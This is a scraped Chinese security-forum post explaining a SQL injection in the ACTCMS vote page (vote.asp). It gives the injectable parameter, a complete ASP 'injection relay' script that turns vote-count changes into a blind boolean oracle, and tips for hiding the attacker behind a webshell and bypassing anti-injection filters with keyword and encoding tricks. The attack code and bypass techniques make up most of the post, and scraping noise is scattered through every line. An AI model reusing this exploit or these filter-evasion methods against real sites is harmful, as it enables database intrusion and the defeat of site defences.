找回密码
 立即注册
查看: 2524|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
% b( ]$ a) H0 _- E& d  l/ I
看到ninty大牛的blog的一篇文章+ M# V: ?5 A2 c. b0 d- ]- F/ y
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]: V+ C6 K5 z1 {1 j4 C% `& @/ O
关于actcms漏洞的利用  by 3x qq:381862589  R9 `7 ?. U/ K* w0 x
转载请注明以上6 @' G! y* r2 L, J, M& y6 o
漏洞文件:
8 [. g+ g9 A! L4 C& F$ _+ J5 b/plus/vote/vote.asp; I" [1 K) x$ F5 Z8 U
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    - @: {0 W) ~' B! X5 ~2 M
! |5 v: N: e) l( @* _9 N
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"     \, E# B" q6 Z( A0 q

1 f' T1 R6 ^3 {3    response.end   
, j% F% G- ^+ k0 f
: Y" S7 X+ Q9 P$ a4    end if   
+ g# ?. ^: H7 f
8 I# v! T  U# _+ Y8 X. W5    for i=1 to request("voted").count    " B, E, {& S! e5 r( g5 ^( @4 O7 j

, ^: ?# _" ?% P, D% e1 i6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    ; |6 Y) w( r: ^, V2 W$ D
& x/ U7 ]3 _  e7 N
7    next   
$ p; _3 ?. F9 Z9 o( d
2 ~* `) e- R' }6 P1 A8....    8 N+ a5 J/ i5 V
  R2 F5 v) V* Y% Q0 k$ z, {+ Q! L% w
9response.Redirect "index.asp?id="&id&""   6 o3 L- q9 `# w. |; ~: v) A
投票结束回跳转回index.asp这个投票结果页面
% B6 F& W" A$ W$ P如果投票成功票数加11 [/ A. k* e; o6 h: Y
            失败票数不变7 p: q4 i5 w/ [  }5 Q. D
如图:: `( C- n  s" B! g( e. y/ t7 Y# P
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB); d  W5 H+ K7 Y3 o' K

  t; P1 |: n. o4 x2009-12-27 13:202 f9 T: B* P" B9 e4 W
; V/ M2 t  P3 b% Q$ s* H
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, m0 ~4 Q. Q$ h6 _0 ]9 B/ T1 o1 i0 Y, {$ z/ f4 f! m2 O, y
本帖隐藏的内容需要回复才可以浏览
7 S4 x9 y. Z9 z( W' S我们用注入中转来实现这个注入具体代码如下:
* \2 a0 y! p: ?; u# ?. R先用寂寞的刺猬大牛的注入中转生成jmget.asp
8 t* W6 F  U; H0 A注入地址:http://localhost/actcms/plus/vote/vote.asp7 m9 C3 a2 T# L( F
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项: q# `& }3 Q. f% h: ~7 B

7 a  v/ B/ n" o" m( ^: }1 r) m然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
( v( H; C6 E3 D$ z4 v: t
% e- G8 P9 y4 m5 Y/ o02JmdcwName=request("jmdcw")
6 I% H7 Y+ `+ X/ o7 P! b% y$ {! E2 I2 _1 M1 _
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
3 n, V& s# E' |2 u' h" ]
5 {0 A  c% N* o- y9 l8 q9 K04JmStr="id=1&voted=-1 or 1="&JmdcwName $ t7 ~1 h* e/ Q; R" ?2 h

8 ~" H" ?( W" Z( W1 X- I  [05JmStr=URLEncoding(JmStr) 3 r- x1 R7 t: N2 F

. ^$ s% e$ L2 {06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# s( v2 x. ^, D7 i
, |" @$ U6 z) j# {$ f07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ P+ f/ j" z9 {8 ^2 ?4 p4 y. X; O7 S7 B  q2 J" m0 n
08testurl=testurl & "?" & JmStr # \, Z1 o% a" P' B7 Z8 F
/ a5 y- I( s* z' ~! j
09JMUrl=JMUrl & "?" & JmStr
/ H& o  o9 W) _" M* J) q* F+ W0 |7 f
7 i  {2 d0 ?( ~' _10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 H( P4 w. d) M5 M* i
7 w8 {: M& ]$ G5 l& y* H! @11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
; z5 x+ n+ b  C' r9 W' t' ?! k9 Y2 w" ?) O
12JmCok=replace(JmCok,chr(32),"%20")  
3 U8 x3 O0 `. @. M* ?5 i
3 R8 n' s9 C! K: |& f13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 7 {& z  s. H$ Q' t

) t0 u$ _- J, h9 ^) s14  
+ l( y3 N1 I8 U% O0 z9 E
; H1 V8 I6 H: R/ s5 g15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 4 o! E0 ^0 g& q0 B/ x/ x
$ g7 U5 a2 c) j
16  2 K3 }& |7 x! y; F. H, ]; Y
& C* O) X8 X3 q0 y
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
: B6 H4 e9 T5 D9 P: Y
$ R4 |- r# M4 y5 d- q% @1 `* J; T18response.write test1&""&test2&""' }; {" C- b: U; u8 f0 D. o  \4 m  D

1 L: s+ ?' i+ z# F" ~19  + t  ?! v+ H# {: W
9 h: u; d8 P8 r& B
20if test1=test2 then '如前后记录相等,表示失败 + Z# Q& a- A0 W5 Y$ M+ `
' Z6 c$ X* A6 }+ y8 @& n! T
21  response.write "failed"5 U+ `; X9 R, f* Q
; s( {. _: w- v$ A/ z% W
22else
( o$ b5 n' }6 a- W6 a, ~, _8 X
23  response.write "succeed"- |' \( ^) z' {- L/ r/ O& E  k

) N# c! b( T; O5 q24end if  
) f; M0 g$ g" a2 F7 ]  v4 G) n
; T( V2 o/ m! i* H25  
- ?; O# v- q( L6 H6 G# y5 N8 }$ s
26response.write "by 3x"  ^, C2 r8 r. G. @

- P. R1 B9 r. C, m1 C27  
* a6 N0 j" Q* K" e' n: H: x
* r8 Q9 S9 a) [6 {28  
5 P5 g4 K* ]) ^7 \/ W( E% k3 S9 D3 z$ G4 z; j& V8 }
29Function PostData(PostUrl,PostStr,PostCok,PostRef)     o2 u3 e! y# a# O; [3 G" y

$ [3 z1 @2 u3 V! L! j# v30Dim Http
! g2 Z; ^" Y3 ]+ t+ s8 M3 V4 q9 E6 a+ Q' R; {
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ' F9 M; f2 e, }. H& J5 g
& {9 m9 e9 M9 _6 Y+ E8 C7 c
32With Http
. I/ R, u- M% @/ u1 a9 A3 S
; L8 R4 V, ]$ x- A7 M) u9 i33  6 T! K; U0 n2 \  ]% f/ X& d2 r6 y
, c& T  F. p/ G8 x& m5 Z
34.Open "GET",PostUrl,False# J  E3 j% C, n" f
. L9 T( A4 G/ O8 ?# l
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"8 w: j  s) Y8 ^* q5 D7 V
3 l% q- S7 V1 Z6 r( u: s
36.SetRequestHeader "Referer",PostRef
: p4 k7 j+ v5 e- E" I% V$ h: P
1 P" M- v9 M: I, s; b37.SetRequestHeader "Cookie",PostCok + ~+ W* j+ b. {3 X! ~/ E
2 D* B  ?" k0 }* v, {
38.Send () ( [' [/ @( q4 o! Z  P
9 t; v! S6 w- [- B& G. B! l
39PostData = .ResponseBody ( }+ f& a9 B2 P4 G
6 u; u6 e7 z) {! O; h. W1 i( J* m9 @
40End With
, V" Q" t1 l9 k2 `9 x8 b( _8 @9 x/ i; G4 y
41Set Http = Nothing1 i* B5 l  b; h" M* e; A4 h  ?* V

6 s3 H6 b- T1 I' V$ j: a42PostData =bytes2BSTR(PostData)
9 _1 A' Y$ q) g5 `! T
& F; B8 K. ?6 g! X( Q3 a. F. f43End Function
3 |& W/ X! Y+ t. o' A' k2 z0 x, O% ?9 s+ w; q$ r
44  
* J$ T% d. m+ n" Z. L! @" Q/ Z  `
* [' A8 v3 T8 R( s45  
1 `# e8 K8 ]2 U" N5 U' S" ?% _; I, o, v1 R
46Function bytes2BSTR(vIn)
% }( F% \8 X5 t0 l' V8 n# }  ~& ^0 m: C  Y3 `
47Dim strReturn
- f2 X* a' q, B' q/ a" g6 a0 n4 V, |7 ~* j; V& e8 G
48Dim I, ThisCharCode, NextCharCode 1 S( W# K: E# K/ X9 ]$ T, ?

3 P- \7 \2 j: w) ]1 Q! E* `8 d49strReturn = ""
' H3 W# c# _0 }$ S+ I9 Z
2 u' i$ p) u* O% _50For I = 1 To LenB(vIn) & M+ @+ u. ^$ h6 Z

$ z( l$ ?2 t5 o, H51ThisCharCode = AscB(MidB(vIn, I, 1))
7 E( V- T( Y" M3 I0 A0 ]
  n9 k/ {" u3 z: r& V/ z52If ThisCharCode < &H80 Then" W1 r! @+ d! `) S5 w, A

( d( p* U# o2 ?: S! |5 [) K6 q53strReturn = strReturn & Chr(ThisCharCode) 2 U6 z1 w/ J% `& V& b& d

% ^2 n5 H+ w. K% C8 u' J7 d! R54Else
, \( q6 N, e' X$ b7 v& n( P7 X/ Y' k4 j2 s; z
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) $ C, `! _" ^, \: N* D/ o

+ F/ \9 r; O) `9 h4 q' r% ]! A56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))   n: [/ |9 J# h9 s3 j9 H
4 j& W2 W& l* I$ u1 G' \
57I = I + 1
, ~3 j7 F$ A: P3 ~2 B
# H" P. C/ [! ^  h9 C58End If
; J3 |, X+ Q* `6 ]0 N! A% Y, J" n8 ^# K  `( r
59Next
8 j! R  ^# X+ U8 U4 p' P
4 n3 F- i" x3 m* ~: @60bytes2BSTR = strReturn
  T! C; k1 W7 G/ i! z
- g' n/ M3 K  m6 f61End Function
8 t6 E5 b& V4 E
2 j* c4 ~6 K. S  I; m; Z; v62  
9 O& M" x9 f; @0 }4 r
8 |" J  i# z' V0 y3 C8 J; v63Function URLEncoding(vstrin)  + p" R; d# X% k% `0 ?  f  M1 b
% @( \* @# u" K1 I+ B( i
64strReturn=""' N; ^, I/ G" n$ i& X* j" s) U0 O
* u+ O* Q& E7 c
65Dim i
) V4 r+ i" m5 d
3 r" [, s9 @8 P1 C66For i=1 To Len(vstrin) 3 w- C8 `3 f* C7 j& j# d; D

4 |( `$ H# F2 @* y" K  X67ThisChr=Mid(vstrin,i,1) ( j9 ~' b% i6 B3 H
1 H' o- k; ?- [, ?
68if Abs(Asc(ThisChr))< &HFF Then
! j/ H- F* R* \# l9 @/ F1 L6 d$ M: t9 x
69strReturn=strReturn & ThisChr
' {9 Q( s& v  S3 ]7 ]7 l! x* i0 D
70Else
( H. n* _; s! }) o! D
/ K+ i- C9 R2 D, A% n# f71InnerCode=Asc(ThisChr) ; u* O0 e' _5 k- D. E; E* ^

% @* P) c3 i# \, X9 f0 Q8 c72If InnerCode<0 Then
. ~# n) o2 ?9 O/ C5 I- C8 W
/ X9 j, h" i+ p* h8 l2 G3 Z, R73InnerCode=InnerCode + &H10000 6 @4 u/ T- U2 Y- S& J" G# t: w; f
, R8 ?6 R; h! d6 S3 q
74End If
8 P$ [: U4 Z0 T0 f
( f! X# Y9 _+ V& r  `1 l$ Q- X9 f" m75Hight1=(InnerCode And &HFF00) \&HFF 8 q  Z1 R; `5 j% k  u4 F3 ~

( s3 F) m; y5 E76Low1=InnerCode And &HFF
2 y/ u, m# L8 m! N, y9 R, }, v# J0 h# T* i! w6 ?5 F7 f$ H
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- D) Z7 x/ d$ E9 d6 u4 A/ w. u/ ^8 p% ?. a; \% s8 @/ o$ o1 i
78End if * ?3 s3 ?" F, ?. ~

: P2 O8 W8 v/ {* K79Next- ?; _9 `3 e. \( `8 A: B

. l, `( a7 T% n, p80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
( ^% X( Z* P6 T5 v: R1 N9 [. X* S4 c* f
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 + U* q) E" p% Y+ \' z
0 t9 w& `2 d& U  r
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
0 m4 h( l+ F5 B  H) P
( j/ j6 @* s6 g+ y$ i7 o5 R  E6 ~4 @83URLEncoding=strReturn + v7 Q  S. \, v/ \* K' A
4 U3 u1 o. i! q' A, V
84End Function
, m) \: f) g* n! l: c
3 r4 L- l/ m5 M) c  Q8 D# [85  
8 N' I& F3 Y0 V9 R1 ~: f; Y
7 H! R+ ]1 T* W+ O5 S! M# j86function getSt(body) 3 d  h# C0 O% [" s( x- `8 D( \
" Q( P5 o$ ?6 O2 f( {. t4 Y$ ]
87  startpot=instr(body,"投票人数:")+len("投票人数:")
; {  M# u" p' H3 ~% [! m/ U- j& O' X
88  endpot=instr(startpot,body," ")
. z$ K; p  a) C2 B/ ~' E7 U
4 {4 H: {! m( S! |89  getSt=mid(body,startpot,endpot-startpot)
2 K( G+ t& h# K" N! r/ X) b2 f9 x9 G) C" H' \9 t) m0 e8 p$ D9 y- R
90end function
" [* B/ f3 j! `- O
3 a2 M  R4 ?2 b. D5 e* E91%>$ [9 h" }) I; j! f
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了# R# k" p' X6 K5 I- d3 X
测试下效果:1 \" X' t- d$ E2 g$ G" b
投票成功:
. q3 Q7 d+ C! \6 ~http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB): M: K. O7 I8 i& w
) ~: f2 Y& {4 z: H  F. ]; A
2009-12-27 13:29
& v; U* o" }# R3 u9 C投票失败
3 W4 ]& d; L' O: a. Shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)+ ]/ l1 Z5 @4 M, [4 I. P5 ?

7 p2 N4 r) O; V2009-12-27 13:29
9 s# X" U9 T2 ]6 x6 W* w-------------------------------------------------------------------------------
, R: t( h, \" I! Q' a0 J7 y7 n再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
2 R+ c, v- M, s! i& [很抱歉。。。只能用单线程工具去注入。。。。。
+ O+ C. U) ?3 L) n& Q' b所以失败。。。不好意思。。。
  g  f* C$ L0 C& @! n-------------------------------------------------------------------------------
$ o, q. c9 y& H9 \/ N% A
; O' Y6 X% g& H1 F1 n0 O0 h注入中转的一些其他应用
4 o. ?; w# f9 ?: H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了# S5 v2 Z; Z; s* G# S( O; O
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id' b. ~( y% v5 e& q9 R( B
2.post注入转成get型的注入,方便我们使用工具来跑. ^% W, s4 ?/ c: X$ R  R- x, H" E
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
+ e3 V6 C  N% O! q4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过0 N9 K' w( e5 r8 Q

( m6 i2 B, O9 T3 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表